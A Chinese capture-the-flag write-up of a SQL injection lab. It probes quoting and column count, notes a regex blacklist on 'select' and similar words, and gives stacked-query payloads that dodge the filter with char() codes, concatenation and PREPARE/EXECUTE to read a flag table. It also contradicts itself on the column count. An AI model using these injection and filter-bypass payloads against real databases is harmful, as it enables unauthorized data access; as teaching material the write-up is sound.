打开环境后尝试直接提交,效果如下:
根据题目名称猜测存在SQL注入,尝试提交1'
其中,回显报错为
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
分析后可知当前语句用单引号包裹,接下来猜解列数。
1' order by 1# // 回显正常
1' order by 2# // 回显正常
1' order by 3# // error 1054 : Unknown column '3' in 'order clause'
当前表中列数为3,接下来利用union查询确定回显位置
1' union select 1,2#
回显:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
回显显示select等敏感词被过滤,无法进行联合查询。
尝试进行堆叠注入
1';show tables;#
堆叠注入成功并返回表名,接下来查询表中列名。
1';desc `1919810931114514`;#
发现名为flag的列,这里要注意查询1919810931114514表时需要用反单引号括起来(反单引号`是数据库、表、索引、列、别名用的引用符)。
此时可以利用预处理语句查询该列
payload1
1';PREPARE a from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE a;#
payload2
1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE a from @sql;EXECUTE a;#
payload3
1';PREPARE a from concat('s','elect', ' * from `1919810931114514` ');EXECUTE a;#
查询后即可得到flag